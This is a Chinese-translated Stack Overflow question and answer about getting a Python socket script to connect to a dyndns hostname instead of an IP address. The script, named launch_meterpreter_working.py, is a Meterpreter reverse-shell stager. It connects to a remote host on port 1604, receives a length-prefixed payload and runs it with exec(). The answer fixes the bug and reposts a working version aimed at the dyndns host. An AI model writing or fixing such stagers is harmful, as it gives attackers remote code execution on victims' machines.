【问题标题】:how can i struct.unpack use domain name in place of ip in socket.connect remotely我如何 struct.unpack 远程使用域名代替 socket.connect 中的 ip
【发布时间】:2016-11-24 21:17:21
【问题描述】:

我有以下代码,当我直接使用外部 ip 使用它时,它工作得很好,但是当我将 ip 更改为 dyndns 提供的域时,它会失败并抛出下面列出的错误。

import socket,struct

# Connect with hostname
# dgts = socket.gethostbyname('chxxxmaz.dyndns.biz')
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect(("'" + dgts + "'", 1604))

# Connect with IP
s = socket.socket(2, 1)
s.connect(('197.xxx.xxx.45', 1604))

# Receive data
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(4096)
while len(d) != l:
    d += s.recv(4096)

exec(d, {'s': s})

错误信息:

Traceback (most recent call last):
      File "/home/elite/Desktop/launch_meterpreter_working.py", line 8, in <module>
        l=struct.unpack('>I',s.recv(4))[0]
    error: unpack requires a string argument of length 4

【问题讨论】:

    标签: python sockets static dns ip


    【解决方案1】:

    无需手动解析主机名,连接socket时直接使用即可。

    您的问题来自连接时添加的引号(为什么是"'" + dgts + "'"?)

    import socket, struct
    
    # Connect
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('chxxxmaz.dyndns.biz', 1604))
    
    # Receive data
    l = struct.unpack('>I', s.recv(4))[0]
    d = s.recv(4096)
    while len(d) != l:
        d += s.recv(4096)
    
    exec(d, {'s': s})
    

    【讨论】:

    • 抱歉php后台,谢谢您的快速回复,让我试试
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2013-08-29
    • 1970-01-01
    • 2019-08-05
    • 2013-08-05
    • 1970-01-01
    • 1970-01-01
    • 2011-05-07
    相关资源
    最近更新 更多